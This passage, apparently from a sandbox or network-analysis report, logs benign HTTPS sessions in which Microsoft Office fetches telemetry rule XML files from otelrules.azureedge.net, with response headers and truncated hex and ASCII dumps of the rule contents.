2024-11-23 16:46:00 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:00 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 2e331142-b01e-001e-697c-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164600Z-174c587ffdfx984chC1TEB676g000000039g000000001p3h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 16:46:00 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:46:00 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:46:00 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:00 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: cd486f0a-401e-0048-5b49-3c0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164600Z-178bfbc474bmqmgjhC1NYCy16c00000004u0000000008bbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 16:46:00 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:46:00 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:46:00 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:00 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: afa98cfc-701e-003e-2a3c-3c79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164600Z-178bfbc474bp8mkvhC1NYCzqnn00000004m00000000077ta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 16:46:00 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:46:00 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:46:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:00 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 36815d12-601e-0070-4763-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164600Z-178bfbc474brk967hC1NYCfu6000000004e000000000hgxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:46:01 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:46:01 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:46:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:01 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 23fc118c-601e-0084-474e-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164601Z-178bfbc474bxkclvhC1NYC69g400000004hg00000000kyg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:46:01 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:46:02 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:46:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:02 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 0ac0d454-901e-0015-334f-3cb284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164602Z-15b8b599d88z9sc7hC1TEBkr4w000000038000000000h17q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:46:02 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:46:02 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:46:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:02 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 1f0666f4-801e-007b-6865-3be7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164602Z-178bfbc474bscnbchC1NYCe7eg00000004zg000000000y1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:46:03 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:46:02 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:46:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:02 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: c1bcbb00-101e-0065-7560-3b4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164602Z-178bfbc474btvfdfhC1NYCa2en00000004u0000000008yrg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:46:03 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:46:02 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:46:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:03 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: e8ec328a-c01e-0049-1675-3cac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164603Z-174c587ffdftv9hphC1TEBm29w000000034g000000008ump x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:46:03 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:46:03 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:46:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:03 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e9975653-d01e-0065-2d8c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164603Z-178bfbc474bv7whqhC1NYC1fg400000004tg000000004s9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:46:04 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:46:04 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:46:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:04 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: f390f01b-d01e-0017-588c-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164604Z-15b8b599d88vp97chC1TEB5pzw000000032g00000000hs5x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:46:04 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:46:04 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:46:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:05 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: f3f6636c-f01e-003c-1d76-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164605Z-174c587ffdf7t49mhC1TEB4qbg0000000360000000004u74 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:46:05 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: 